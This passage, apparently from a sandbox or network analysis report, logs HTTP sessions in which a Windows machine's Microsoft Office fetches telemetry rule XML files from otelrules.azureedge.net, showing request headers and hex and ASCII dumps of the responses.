EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 1e2a9e05-401e-0078-21cb-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210918Z-1746fd949bdtlp5chC1EWRq1v400000004ng00000000q9vz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 224e79cf-701e-0050-75c2-456767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210919Z-1746fd949bd4w8sthC1EWR700400000004g000000000eqam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:19 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4a855f25-e01e-0099-02ce-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210919Z-1746fd949bdkw94lhC1EWRxuz400000004zg000000004gt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:20 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:19 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:19 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210919Z-r1cf579d778mvsklhC1EWRkavg00000000q0000000004xvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:21 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210921Z-r1cf579d778zvkpnhC1EWRv23g00000000hg000000004uzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:21 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 60835f53-401e-000a-55cd-454a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210921Z-1746fd949bdjrnwqhC1EWRpg2800000004ug00000000dd85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: ddb1afd1-c01e-008d-2acd-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210921Z-1746fd949bdtlp5chC1EWRq1v400000004p000000000n962 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: f2a711fd-c01e-00a1-2bd1-457e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210921Z-1746fd949bdlqd7fhC1EWR6vt000000004t000000000y218 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:22 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210922Z-r1cf579d778dc6d7hC1EWR2vs80000000130000000007rhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: d00fcd24-f01e-0096-3fd4-4510ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210923Z-1746fd949bdb8xvchC1EWRmbd400000004kg00000000yrpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 608090c1-401e-000a-38cc-454a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210923Z-1746fd949bdb8xvchC1EWRmbd400000004ng00000000rpt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:23 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:24 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:23 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210923Z-r1cf579d7788pwqzhC1EWRrpd800000000ng000000005aq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
